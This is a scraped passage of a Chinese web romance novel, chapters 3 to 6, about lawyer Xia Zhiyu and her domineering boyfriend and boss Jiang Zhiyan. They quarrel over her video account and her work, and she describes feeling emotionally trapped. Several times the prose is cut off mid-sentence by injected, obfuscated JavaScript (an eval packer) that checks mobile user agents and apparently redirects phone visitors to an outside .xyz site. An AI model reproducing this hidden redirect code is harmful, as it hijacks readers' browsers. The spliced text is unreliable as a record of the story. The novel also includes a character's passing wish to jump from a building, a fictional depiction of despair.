大夏天,有豪车不坐王八蛋,夏稚鱼看了眼地铁上的标识,毫不犹豫报出下一站名字。 “你那边太吵了听不清,你微信发我位置,天气太热别出站,我快到了给你发消息。” 江知砚语气里的关怀之意清晰,夏稚鱼有些怔忪的挂了电话,心底情愫像是气泡水似的咕噜咕噜冒起泡泡。 最近这一年里,她和江知砚打电话的次数屈指可数,打视频更是没有。 江知砚永远在忙着工作,电话不是关机就是无法接通。 再深刻的感情还是没敌过十二个小时的时差。 夏稚鱼发过脾气,几千字的小作文、十七八个未接的视频电话……无数次的崩溃大哭都淹没于江知砚隔了很久的回复里。 后来夏稚鱼懒得联系江知砚时,远在美国的江知砚倒是开始主动给她发消息了。 还是一副他们之间没有任何裂隙的模样。 在第二次淋雨跑回家后收到江知砚转发过来的暴雨提醒时,夏稚鱼真心实意的觉得江知砚脑子绝对被驴踢了。 为什么要在她以为自己已经丧偶时又诈尸。 简直像个神经病。 她自己也是。 每天反复回忆以前那点过期糖,费尽心力论证江知砚现在其实还是有点爱自己。 自己给自己面前吊着根腐烂胡萝卜,还骗自己说这就是豪华大餐,从细枝末节里翻找出来一点爱来哄骗自己。 活像一头蠢驴。 迈凯伦停在路边,夏稚鱼习惯性的就想去拉副驾的门,还没摸上把手,她顿了顿,转身坐进后座。 车里空调温度开的很低,开门的一瞬间就察觉到了舒适的凉意。 不知道是不是有心理作用,夏稚鱼总觉得车里有一股刘妙琪身上的香水味,甜腻的花香调令人作呕。 她懒得说话,跟江知砚打了个招呼后就靠在座椅上闭目养神,车厢里静的出奇,简直像是网约车司机跟乘客。 没想到闭了一会眼睛,她居然睡着了,等夏稚鱼有些懵的挣开眼时,车子停在地下车库 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270489|182277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,江知砚坐在她旁边,一手环着她的腰,眼镜片倒映出ipad上拉长变形的字体。 而她正窝在江知砚肩头,睡得天昏地暗,甚至还稍微出了些汗。 空调冷气呼呼地吹,几乎是睁眼的一瞬间夏稚鱼就感觉到了冷,还有些头昏脑涨。 她坐直身子,揉了揉太阳穴,语气疲惫, “这是哪儿啊,我睡了多久了?” “金城国际,六点多一点,我看你睡的舒服就没叫你。” 江知砚合上平板,搂在夏稚鱼腰上的手臂却没松开,他摘下眼镜,偏头定定的看向夏稚鱼。 车内昏暗的灯光打在夏稚鱼脸上,显出几分暧昧的若即若离,江知砚眸色略沉了沉。 “你早上为什么不高兴?” “你订的那家餐厅在几楼来着?” 两个人的声音同时响起。 夏稚鱼怔了一瞬,白天工作太忙了,她都忘了自己早上跟江知砚发过脾气这件事。 至于发脾气的理由,她当时都已经说清楚了,江知砚现在还想听到她解释什么? 夏稚鱼皱了皱眉头,她试图往后挪挪,拉开两人之间的距离。 过近的距离会弱化语言攻击的效力,对律师来说是大忌。 这也是江知砚教她的。 江知砚的手却牢牢扣在她后腰,夏稚鱼有些不高兴,她撩起脸侧碍事的长发拨到耳后,正准备用力推开江知砚放在她腰上的手。 一回头,夏稚鱼眼神正对上江知砚嘴唇,男人薄唇抿起,目光沉沉落在她脸上,看起来冷若冰霜。 颧骨上一道显眼的血痕,衬的他平白多出几分凶厉匪气。 是她包上的拉链划出来的。 夏稚鱼短暂怔住。 在一起这几年里,她只见过江知砚脸上受过两次伤,这次算一次,上一次还得追溯到她大学毕业时。 眼前人的侧脸跟四年前为了她跟几个小混混打架的24岁江知砚重合起来。 那是夏稚鱼第一次意识到她男朋友的肱二头肌居然不是样子货。 一打五不在话下,但对方毕竟人多势众,江知砚还是不可避免的挨了几下。 也是在靠近眼睛附近差不多的位置,江知砚被对方手上的戒指棱角挂出一道较深血痕,血呼了满眼,一眨眼,滴下来的都是血滴子。 夏稚鱼小心翼翼给他处理着伤口,眼泪不要钱似得吧嗒吧嗒往下掉,鼻尖红的跟个兔子似的。 江知砚舌尖抵了抵上颚,齿尖发痒,闷笑声带起胸膛振动, “哭的跟个猫儿似的,挨打的又不是你。” “笨的,都不知道躲远点。” 当时的江知砚一定是爱她的。 可现在呢。 江知砚对她那点浅薄爱意大概早都散在自由美利坚的空气里了,只剩下骨子里对自己所有物的控制欲。 夏稚鱼失神地看着江知砚脸上的红痕,心头莫名泛上些钝钝的酸涩感。 指尖蠢蠢欲动的想摸摸江知砚脸上的伤口。 浅色阅读灯忽然亮起,照亮江知砚看向她的沉静眼神。 记忆里江知砚已经很久很久没像现在这样心平气和地问她为什么生气,她现在翻翻回忆,脑子里充斥的只有吵架的片段。 不,哪能算是吵架,那只是她在单方面宣泄情绪。 江知砚这种人只会居高临下的看着她眼泪鼻涕糊了一脸,然后冷冷甩下一句她能不能不这么情绪化的对待问题。 柔和光芒灼的夏稚鱼双眼酸涩,甚至有些喘不过气。 她狼狈地偏过头,随口扯了个理由, “你爹味太重熏的我头晕,而且早上那会我状态也不太好,不全是你的问题。” “可能是生理期快到了”,夏稚鱼下意识地找了个理由。 江知砚一眼就能看出来她在找借口,他轻嗤一声, “你生理期还早着呢,今天才十五号,按照惯例至少还有十天。” 语气刺耳,居高临下的质问,江知砚总是有本事唰的一下轻易点起夏稚鱼的怒火。 “惯例?” 她手臂抱起在胸前,呈现防御的姿态,冷笑道: “你指的是一年之前的惯例吗?不好意思,女人的生理期是会变的,我现在就是每个月十五号左右。” 像是个蜷缩起来的刺猬,毫不客气的把所有尖锐对准江知砚。 车厢里静了下来,只剩下空调风的声音。 江知砚眉头皱起,莫名其妙道: “那你直说不就完了,有什么好闹别扭的,你今天吃炸药了?” 还真吃了炸药了。 刘妙琪几个字在夏稚鱼嘴边打着转。 可这句质问却像是钓鱼浮漂似的在水面上沉沉浮浮,难以说出口。 夏稚鱼问自己,问了又有什么意义呢,她想要的真的是江知砚的解释吗? 即便这件事真的只是个误会,她当时那一瞬感受到的屈辱和伤心就能被抚平吗? 她在乎的是刘妙琪这个人吗? 一年前感情稳定期的她就算看到刘妙琪坐在江知砚车上,也不会生出怀疑江知砚出轨的心思。 她现在就是长期处在工作和爱情上的低位而导致缺乏安全感和疑神疑鬼,她都变得不像自己了。 江知砚解释或不解释,这还重要吗? 这场爱情游戏里迷失方向的人只有她夏稚鱼。 4. 第 4 章 第4章 餐桌上。 夏稚鱼瞥了眼黑着张脸的江知砚,视线又兴致缺缺挪回了菜单上。 不能再看了。 老看一张怒气冲冲的脸容易消化不了,今天这个网红餐厅贵的出名,有冤大头不宰白不宰。 “先生?先生?” 服务员连叫了两声江知砚才反应过来,他皱了皱眉头,语气中的不悦之感清晰,“怎么了?” 夏稚鱼终于抬起了头,她诧异的看了眼江知砚,眼神活像是在看什么稀有物种。 江知砚几乎从不跟其他人生气,即便是神经兮兮的甲方,他只会在出现问题后迅速想解决办法。 对于江知砚来说,发脾气这件事毫无意义。 除了对夏稚鱼。 如果夏稚鱼参与的项目中工作出了失误,想都不用想,夏稚鱼一定是首先被江知砚问责的,就算问题不是出在她的身上。 因为江知砚眼里她跟别人不一样,用江知砚的原话说就是—— “他们只是打工族,做错了事情自然有公司或者所里给他们托底,可你不一样,你要对自己有更严苛的要求,要用管理层的要求来衡量自己。” 这种话听第一遍是感动,听第五遍是麻木,听到第十遍的时候夏稚鱼开始反思自己的什么行为让江知砚产生了她适合当老板这种错误观点。 在给团队背了无数次锅之后,夏稚鱼顿悟了,她自己到底做了什么不重要,重要的是老板想让她做什么。 江知砚带了那么多实习律师,在工作里接触过那么多的普通人,可他依旧口口声声说觉得她夏稚鱼不普通,这是为什么? 这当然是因为他在pua她这个打工牛马啊! 小红书上那么多老板pua行为,江知砚这不正是其中的典型,指不定他在每个人面前都这么说,这样子才能让大部分员工都对打工产生热爱。 侦破这一点后,夏稚鱼彻底坚定自己要做咸鱼的决心,绝不给黑心资本家浪费一点工作之外的生活。 但偶尔——不算很偶然的情况下——夏稚鱼也会被江知砚尖锐的话语或者视线刺痛。 比如现在。 江知砚把手机推到她面前,一句话没说,只是淡淡的看着她,像是在等她解释什么一样。 屏幕上是一条彩信,图片内容是她的volg视频截图,三角静止符卡在夏稚鱼脸上,和早上平板上的截图一模一样。 虽然她没背过江镜的电话号码,但看到这个联系途径,用脚趾都能猜出来是谁。 毕竟现在所里应该只有江镜没有江知砚的微信。 夏稚鱼忽然发现江镜其实根本就没有看她的视频,她只是随便拖了几下进度条,找到她在视频里面露脸的一瞬间,截图,发给她的宝贝儿子。 发送时间五分钟前,就在他俩刚刚在餐厅坐下的瞬间。 也不知道江镜哪来这么灵通的消息,难不成她在自己儿子身上装了定位? 这家店上菜很快,食物香气勾的夏稚鱼食指大动,饿了一天的五脏六腑咕咕作响,酸水在胃里翻涌叫嚣,渴望食物。 饿但不敢动筷子。 夏稚鱼坐在沙发椅上,低头盯着手机屏幕看了好半响,江知砚的眼神如芒在背,刺的她莫名心虚。 她舔了舔嘴唇,略微僵硬的抬起了头,对上江知砚在室内显得越发幽深的深棕色瞳孔,他半靠在沙发椅上,扬着下巴,眼睫微垂地看着她,唇角笑意蕴着几分嘲讽似的冷意。 不屑、冷淡、厌倦、傲慢……他现在在夏稚鱼面前流露出的神情和早上的江镜几乎如出一辙,用脚趾都能想明白江知砚对她的态度也不会比江镜好多少。 不愧是母子俩。 空气凝滞住,夏稚鱼用力闭了闭眼,连呼吸都显得艰涩。 江知砚的眼神越来越冷,怒火在心头熊熊燃烧。 他现在有种被夏稚鱼背叛了的感觉。 要不是江镜发给了他,他到现在都不知道自己女朋友居然还经营着一个十五万粉丝的视频账号。 他刚才跳着看了几个视频,在江知砚自己也参与过的旅行中,完全没看到他的身影。 账号第一个视频是夏稚鱼两年前去的玉龙雪山,可就在半年前他和夏稚鱼还一起在西班牙出差。 那几天很忙,但他还是挤出了时间和夏稚鱼在威尼斯玩了两天,他看到了威尼斯的视频,但视频标题是《出差之余的一人出游volg》。 江知砚看到视频标题的时候心脏像是被放在冷库里冻了三天三夜,疼到浑身发冷。 一人出游? 那他做的旅游攻略算什么? 算他是笑话吗? 把夏稚鱼的视频主页从头翻到尾,里面和别人一起出游的视频不算少数,连同事和她的高中同学都有出境。 可他连这个账号的存在都不知道。 不是ntr,胜似ntr。 而夏稚鱼对他发现这件事情的唯一回应就是沉默。 无尽的沉默。 像个吵架后试图用冷暴力解决一切问题的渣女。 自小养成的骄傲不允许他低头或是质问,哪怕对象是夏稚鱼。 江知砚心头翻涌的怒火中夹杂着委屈,在脱口而出的那一瞬间结成尖锐冰棱,悬在头顶。 不知僵持了多久,白切鸡都不再冒热气,夏稚鱼听到江知砚声音低沉的质问她, “你什么都不解释吗?” 夏稚鱼以为自己竖起的铜墙铁壁足够结实,她以为自己已经不会因为江知砚而伤心了。 可江知砚只说了这一句话,夏稚鱼的心口血肉就像是被腐蚀了似的留下窟窿,污血所到之处滋滋作响,冒出腐臭白烟,熏的她眼角发酸。 “你想听我解释什么?我以为我没什么好解释的,这不都放在你眼前了吗?” 感恩多年挨骂练出来的本领,夏稚鱼现在就算再伤心也能忍住眼泪,语气平和的回答甲方的问题。 江知砚笑了,可眼角眉梢都挂着冷意,说出口的话如同结了冰碴, “我就说你的业绩怎么越来越差,甚至还比不上刚来的刘妙琪,原来你的心思全放在了这种事情上面。怎么,涨几个粉丝,别人吹捧你视频拍的好,你就真的以为自己很厉害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夏稚鱼缓慢的眨了眨眼,脑海中响起尖锐耳鸣,她几乎以为自己幻听了,要不然她怎么会从江知砚的嘴里听到江镜才会说的话。 饭桌上的菜彻底凉透了,鸭子腥气刺鼻,夏稚鱼嗓子眼酸水直涌,她眼睛看着江知砚,眼神里却好像什么都没有似的,表情也是一片空白。 江知砚居高临下的瞧着她,他在回程的飞机上翻看了夏稚鱼这半年来处理的工作,她这段时间做的所有业务加起来甚至还不如去年两个月的工作量,跟实习生比都差了个档次。 他不明白夏稚鱼怎么连最基本的努力都做不到呢? 不思进取,提前下班,对工作不上心,有空剪视频研究分镜都不知道跟着学学怎么样才能做出让甲方满意的DD。 “老实说,鱼鱼,我对你很失望。” 夏稚鱼眼里浮出层水雾,她看着江知砚,男人的五官越来越模糊,像是隔了一层很厚的毛玻璃,只剩下耳边响起的一声怒其不争的叹息。 5. 第 5 章 第5章 她在发抖。 江知砚下意识地就想起身坐到夏稚鱼身边,给她披上自己的外套,再松松环上她的腰。 如同他俩刚在一起时的每个周末一样——依偎在沙发上看着夏稚鱼喜欢的日剧,像世界尽头浮冰上抱在一起取暖的两只海豹。 后来江知砚爬上了坚硬的冰层,夏稚鱼却还是惴惴不安地趴在狭小浮冰上。 她又胆小又瘦弱,即便明知虎鲸随时可能出现掀翻脆弱浮冰,可夏稚鱼还是不敢下来。 江知砚明白夏稚鱼为什么会这样,因为她从没经历过风雨。 读书时她有爸爸妈妈,工作后又有了他,夏稚鱼的每一段人生都有人为她探路,那她自然会变得怠惰。 可人生在世怎么能一直当别人身上的菟丝子。 父母子女爱人都有可能会先行离去。 江知砚很小就明白了这个道理,他清楚的知道自己唯一能全身心依赖的人只有自己。 江知砚坚信工作促使人成长,而自立的前提恰恰就是拥有独立稳定的事业。 尤其是对于女性而言,学会享受独处的空间和晋升的快乐才能真正掌握自己的人生。 可夏稚鱼不是这样。 江知砚看的很清楚,虽然夏稚鱼刚参与工作时候的热情很高,但她从没把工作放在首位。 旅游比工作重要,赏花比工作重要,就连炖汤吃饭都比工作重要。 夏稚鱼的人生里处处都是风景,以至于她忘记了要自己砌坚实地基。 他得逼她一把,以前是,现在也是。 一年前他选择独自出国目的之一不就是为了锻炼夏稚鱼的自主性吗? 江知砚强迫自己坐回凳子上,放在桌上的双手紧扣在一起,左手大拇指抵着右手腱鞘挤压、婆娑,焦灼的像是热锅上的蚂蚁。 再给她点时间,江知砚喉结滚了滚,眉头因紧张不自觉压低,显得越发冷肃。 江知砚祖父是西班牙人,到他这一代混血的基因已经不太明显,只剩下深邃的眼窝和高挑健硕的身躯仍凸显出些混血感。 而当他生气后,眉骨不经意压低,眼皮褶子冷而斜的向太阳穴扬时,西方骨相越发立体,显得倨傲冷漠。 这种近乎挑剔刻薄的神情就跟碎纸机似的,将夏稚鱼为数不多的自尊心碾成了碎渣。 好冷…… 高级餐厅的冷气是不要钱的吗?怎么比律所还冷的多。 夏稚鱼冷都发抖,她指尖绞作一团,青白手背上指骨形状清晰可见,仿佛要刺破血肉而出。 羞愧感使得她试图蜷缩成一团,可身体中的每一个细胞都在跟这种愧疚抗争。 她不明白为什么自己不能像江知砚一样既有天分还努力,她不明白自己为什么抵抗不了所谓的惰性。 攥着衣角的手指用力到发白,寒意刺骨,冻到她几乎看不清眼前精美的蕾丝桌布。 视线由清晰变得模糊,桌上的木质条纹也变得扭曲。 夏稚鱼不敢抬头,她用力一眨眼,两滴泪水沾湿了西装裤,水迹在丝绸布料上逐渐扩大,如同一大团污渍在人生中蔓延。 夏稚鱼脑海中不合时宜的出现了个念头—— 或许,不管对华万还是对江知砚和江镜,她的存在就像是污渍。 碍眼且不合适,想除掉却没有合适的时机,于是只好一次又一次的用高温杀毒机熏烤蒸煮她。 胃里又跟翻江倒海似的哭嚎着,抽搐、扭曲、坠痛。 身体叫嚣着不合适,可她却因为割舍不掉的爱意而固执地留在江知砚身边。 可现在连江知砚都开始像对付污渍一样对付她了。 夏稚鱼后背微拱,肩膀内扣,痛苦到恨不得掀翻眼前的桌子,歇斯底里的跟江知砚绝望大吼着说他到底想做什么,他和他妈到底想对她做什么? 可她用什么立场来说这句话呢? 员工吗?还是江知砚的女朋友。 江知砚又会怎么看她呢? 他的眼神是不是会从冷漠变得错愕,随后又变成像他母亲一样遮掩不住的嫌弃。 嫌弃她懒,嫌弃她笨,嫌弃她和北城这个精英城市格格不入。 心脏揪着发疼,汹涌的情绪决堤而下。 来不及说话,夏稚鱼竭尽全力克制住呕吐的欲望,踉跄起身,捂着嘴急急往卫生间的方向走。 空气中响起“砰”的一下身体和木质桌角碰撞的沉闷声响。 蕾丝桌布被滑落的泪水洇湿了一块,格格不入地沾在桌子上。 等江知砚焦急地问服务员要了湿毛巾赶过来时,夏稚鱼正扶着洗手台,吐的腰都直不起来。 她的嘴唇和脸色一个比一个白,眼角挂着生理性的泪水,冷汗濡湿鬓角几绺发丝,紧紧贴在泛白的脸颊上,看起来可怜极了。 江知砚僵在原地,莫名的巨大惶恐感席卷身体,心头像是有把刀在磨,泛起细密的钝痛。 “鱼鱼!” 他试图扶住夏稚鱼肩膀,刚伸出去的手却被一巴掌拍开。 “你别碰我。” 夏稚鱼的声音沙哑刺耳,胃酸腐蚀了口腔黏膜,说出口的每一个字都格外费力,她看都不看江知砚一眼,精致漂亮的脸和肢体动作上都写满了抗拒。 ——对江知砚触碰她的抗拒。 她甚至倒退开两步。 江知砚被推开的手臂一僵,垂下时指尖攥在一起,落在身侧,他声音发紧,递出毛巾, “你擦一下脸,我出去打个电话。” 他凝视着夏稚鱼细而白的后颈,视线一寸寸滑落至夏稚鱼瘦到清晰可见的锁骨时,江知砚顿了顿,眸色沉沉。 “嗯。” 夏稚鱼扶着洗手台,身体发软到几乎站不住,她偏头看向镜子里的自己。 镜子里的女人苍白、脆弱、陌生,完全看不出来她在大学的时候能独立走三天四夜的雅安徒步线。 她到底怎么了?夏稚鱼茫然的问自己,她为什么会狼狈成这个模样? “她到底怎么了?” 不知道电话那头说了什么,江知砚的眉头越皱越深。 “好,辛苦了,尽快再安排一次体检,我会带着她去的。” 他挂了电话,夏稚鱼正好脚步虚浮的从卫生间里出来,一抬头,她正对上江知砚略带不满的眼神。 “宋医生说你上半年没去体检?” 江知砚习惯性的拉着夏稚鱼左手,五指强势扣紧她指尖,不给她挣脱的机会,张嘴就是斥责, “你自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270491|182277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身体什么状况你不清楚吗?为什么每次体检都推三阻四?” “我身体没问题”,夏稚鱼轻声道。 江知砚气笑了,“没问题你今天吐什么?” “着凉了吧,空调温度太低了。” “那你不知道穿厚一点吗?你这么大的人连照顾好自己都不会吗?” 语气里的埋怨和不满清晰可见。 深深的疲惫感倾泻而来,夏稚鱼不明白,为什么不管她说什么江知砚都有话能怼上来,这就是行业尖端的律师吗? 谈判过程中遇到问题时要抢先占据制高点,居高临下地指责相方准备不充分,在心理上占据优势地位有利于己方需求的输出。 江知砚已经把这一套贯穿到和她的日常沟通里面了。 工作生活二元化一。 夏稚鱼自嘲地扯扯唇角。 江知砚对夏稚鱼的身体状况了如指掌,她吐成这个样子,多半是肠胃炎,网红餐厅的饭肯定是不能吃了。 车窗外的北城傍晚处处动人,橙红夕阳染红天幕,霞光万丈。 车厢内温度适宜,夏稚鱼裹在江知砚的外套,靠在椅背上看着窗外的景色,一言不发。 “你先把药吃了,我跟宋医生预约了明天早上的胃镜,我陪你一起去。” “嗯。” 房间里静了下来,夏稚鱼背对江知砚缩在被子里,有一下没一下的刷着手机,被窝里传出吱哇乱叫的小狗声。 夏稚鱼脸上也不自觉露出几分笑容。 江知砚把热水放到床头柜,瞧了眼夏稚鱼露在被子外面的乌黑发旋,有些不满。 这么长时间没见了,夏稚鱼宁可刷短视频都不愿意跟他说几句话,也不问问他之前的出差顺不顺利。 他俩现在哪还有个谈恋爱的样子。 只要一联系,除了吵架还是吵架,电话里吵,家里吵,所里吵。 这恋爱还有什么意思。 江知砚眉梢挂上冷意,居高临下的盯着夏稚鱼,久居上位的压迫感像胶水似的沉沉灌进夏稚鱼被窝。 但男人总是擅长于说服自己,用各种各样的理由,比如现在,江知砚想当然的以为夏稚鱼还在因为工作生气。 这恰恰也是江知砚最不能忍受她的一点。 江知砚不能理解,为什么有人对待工作的态度会如此懈怠,不仅如此,夏稚鱼还会把工作上的情绪带回到家里,这已经不是江知砚第一次因为工作上的小事被夏稚鱼摆脸色了。 说实在的,他还是挺佩服这样子的夏稚鱼——拒绝沟通、愚钝的沉浸在短视频带来的暂时快乐,笨的不像是个能顺利考上北城大学法硕的人。 他心里带着想法,脸上不自觉就带出些傲慢和冷漠之色。 带着轻慢的打量之意沉重的压在了夏稚鱼身上。 夏稚鱼心底好不容易升腾起来的一点小小的快乐泡沫像是遇到水气似的逐渐消失,她嘴角一点点抻平,屏幕里神采飞扬的快乐小狗都不能唤醒她的快乐。 所以,到底谁才是狗啊。 怎么会有像她这么倒霉的人连生病都要承受老板的冷脸。 夏稚鱼看着屏幕上比她吃的好、比她开心、还比她幸福一百倍的蓬松小狗,难过的泪水下一秒就要从眼眶里涌出来。 6. 第 6 章 第6章 终于,如江知砚所愿,夏稚鱼终于放下手机,缩进被子,黑漆漆的长发揉成一团背对着他。 “我想睡一会。” 夏稚鱼闷闷的语气从被窝里传出来。 睡觉总比她玩手机好,江知砚脸色和缓,他单手松了松领带, “好好休息,你工作上的剩余事情我来处理就好。” 这语气落在夏稚鱼耳朵里简直像是老板对她高高在上的恩赐。 下一秒,夏稚鱼手里一空,江知砚俯身把手机从她手里抽走放在了衣柜上面。 夏稚鱼自制力极差,当初考研的时候总是管不住自己想玩手机,江知砚发现这一点后毫不犹豫的接替对夏稚鱼手机的控制权,这个习惯延续到了现在。 只要江知砚在的地方,夏稚鱼就别想好好玩手机。 方新乐戏称夏稚鱼不是在谈恋爱,而是给自己找了个新爹,还是控制欲特别强的那种。 夏稚鱼无意识攥了攥空无一物的掌心,被江知砚拿走的好像不止是手机,夏稚鱼模模糊糊的感觉到自己在这段关系中仿佛失去了更重要的东西。 她茫然的看着窗帘上随风飘起的浅色流苏,视线散碎失去焦点。 睡觉吧,睡着了就不会想起来这些烦心事了。 梦里不会有江知砚和讨厌的工作。 夏稚鱼打了个哈欠,生理性泪水浸湿睫毛,真丝枕巾柔软舒适,药物的催眠作用在身体里发酵…… “叮咚咚咚——” 空气中猛然响起刺耳的电话铃声,夏稚鱼吓得猛然惊醒,刚松弛下去的神经瞬间紧绷,心跳激烈撞击着胸腔,脑子里嗡嗡作响。 她反应了好一会才缓过来,怒火唰的一下席卷上胸口。 她跟江知砚说过没有一百次也有八十次了,回到家之后能不能把手机铃声调小,她都不要求他静音了,手机声音调小是什么很困难的事情吗? 夏稚鱼偏头狠狠瞪了江知砚一眼,火气在心头酝酿。 “我出去接个电话。” 江知砚永远都在工作,连她不舒服想好好休息的时候都要被他的工作电话吵醒。 她在他心里的地位永远都比不上工作吗? 冷意攀上心尖,夏稚鱼终于忍不住红了眼眶。 可她甚至连生气的资格都没有。 她和江知砚本来就不是一个阶层的人,而她正是因为拥有江知砚女朋友这个身份,她才能进到华万最好的团队,住进北城最高端的小区之一,享受最好的医疗和服务,阿姨每天做的便当都不重样。 夏稚鱼,你已经过得很好了,不是吗? 在同龄人还在挣扎于三个小时通勤的痛苦时,在同事们焦虑于没有案源时,在top学校的应届生都在因为进不去华万而垂头丧气时,你因为江知砚女朋友的身份已经享受了无数的便利,不是吗? 你已经过的很好了。 夏稚鱼一遍又一遍的告诉自己。 生活看起来光鲜亮丽,工作说出来会让父母骄傲,老家人谈论起你的时候只会说那个在大城市打拼的小囡多有出息。 还有一个异常出色的男朋友。 可是鱼鱼,既然你已经过的这么好了,那为什么会感到耻辱,又为什么还要流泪? “怎么又哭了?” 江知砚的声音像是从远方传来一样遥远而模糊,夏稚鱼感觉到江知砚擦掉自己脸上的泪。 她隔着朦胧的泪水仔细地瞧着江知砚,水液模糊了男人棱角分明的五官,江知砚看起来就像是他们刚认识时一样英俊温柔,可以轻而易举的获取每一个女人的芳心。 可是知砚。 我该如何告诉你我的痛苦——注定不会被你所理解的、难以启齿的痛苦。 夏稚鱼拽着江知砚的衣领,闭着眼,哭的像个挨骂了的狼狈小孩。 一边哭一边磕磕绊绊的埋怨江知砚。 “你好吵,我刚睡着你就开始打电话。” “你总不回家,邻居看我的眼神就像是看有钱人的小三。” 或许是生病的原因,她现在格外脆弱。 夏稚鱼的眼泪像断了线的珠子,她大口大口的喘着气,手脚无力,浑身发软,疲惫而绝望的得出结论 “江知砚,你从来都没有设身处地的为我着想过。” “你心里没有我,只有你自己。” “你根本不爱我。” 她声音很轻,像是被无数层看不见的薄幔层层压下后无力的微弱呻吟。 江知砚缓慢拍着夏稚鱼后心,听到夏稚鱼的结论后,他原本含笑的唇角拉平,眼神黑沉,可语调倒是一如既往的温和, “别乱说话,鱼鱼,我心里怎么可能没有你。” 他记得自己之前确实和夏稚鱼有过几次争吵,但不凑巧,几次争执都撞在了工作会议上。 等江知砚带着国外团队忙完,又轮到夏稚鱼他们国内团队忙了,两个人时间总是对不上,所有的争执最后都不了了之。 而且本来也不算是什么严重的原则性问题,江知砚也就没放在心上。 他吻了吻夏稚鱼的额头,带着安抚的含义, “这些都是小事而已,我能解决。” “好了,别闹了,我前段时间太忙了没能好好陪你,但我现在工作重心已经挪回国内了,答应我别再多想,好吗?” “别再惹我不高兴。” 两句话避重就轻的松松揭过这一年,顺带再警告一下夏稚鱼。 空气越发稀薄,房子墙壁仿佛在无限压缩,浓郁的窒息感锁住喉咙。 江知砚只是沉着的看着她,像过去无数次一样,冷静且平和。 夏稚鱼觉得自己像是被关在了名为江知砚的监狱里,她拼命想要得到江知砚的认可,却又怕江知砚轻蔑不屑的眼神。 她用力推开江知砚,额头青筋蹦起,碎发黏在皮肤上,刺挠的发着痒。 夏稚鱼想象过很多次江知砚回来之后他俩会怎么样吵架,腹稿打了一遍又一遍,她想理智的跟江知砚说清楚自己的感受,让江知砚明白他去美国出差这一年对她的打击有多大。 但话还没说出口,她就先哽咽了起来, “为什么为什么为什么啊江知砚,你告诉我你和你妈为什么要针对我,你们到底想让我怎么样啊——” “你当初为什么非要去美国!” 愤怒、焦灼、疲惫,以及浓到化不开的后悔之意。 江知砚看着夏稚鱼剧烈抽搐着的手指和脖颈上暴起的青筋。 在夏稚鱼看不到的角度,江知砚的眼神冷到几乎能结上冰碴。 他用力把夏稚鱼揽进怀里,沉声道: “有什么事情等你睡醒我们再说好吗?这些都是小事,你身体才是最重要的,你现在需要休息。” 好个屁。 夏稚鱼脑袋晕的厉害,打着哆嗦,止不住的啜泣着。 她也分不清到底是因为被江知砚气的发晕还是因为发烧。 但夏稚鱼清楚一件事情——江知砚又在逃避吵架,这是他的惯用伎俩。 每当夏稚鱼愤怒的输出时,江知砚只会冷冷的看着她,一言不发。 江知砚他清楚只要他哄哄,夏稚鱼一定会原谅他。 但江知砚从不哄她,因为他发自本心的坚定认为夏稚鱼错了,夏稚鱼就该听从他的话做出改变。 可夏稚鱼的改变永远都得不到他的满意,他永远都是在居高临下的傲慢俯瞰夏稚鱼,这让夏稚鱼窒息。 在这场爱情里,被困住的仿佛只有夏稚鱼一个人。 等她绝望的冷静下来后,吵架的原因又会被轻飘飘的略过。 □□、昂贵的包和首饰、一大捧昂贵的鲜花,江知砚只会这样掩盖问题。 一次、两次……无数次之后,夏稚鱼已经麻木了。 工作太吸人精气了,她没有那么多的精力去跟江知砚再吵第二次架,也不愿意在冷静时跟江知砚沟通。 可笑,他俩之间的谈话叫什么沟通,不过是江知砚披上老板的外皮跟她讲大道理而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270492|182277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已。 江知砚这种对付她操控她的办法跟那些冷暴力有什么区别。 可她又没法不在意江知砚对她的态度。 疲倦像是深深涌上来的海水一样淹没了夏稚鱼,迫人的窒息感压迫神经,心脏几乎要跳出胸腔。 她恨不得现在就从十楼跳下去,好让江知砚切身体会在这场爱情中她受到的折磨。 “滚啊!” 夏稚鱼掀起抱枕用力砸在江知砚身上,“你给我出去啊。” “你不是有很多工作吗?你不是有很多的会要开吗?你去跟你的工作锁死一辈子吧。!” “一天二十四个小时分给我十分钟回个消息很难吗?工作群消息你能秒回,我的消息你就装死看不见。” 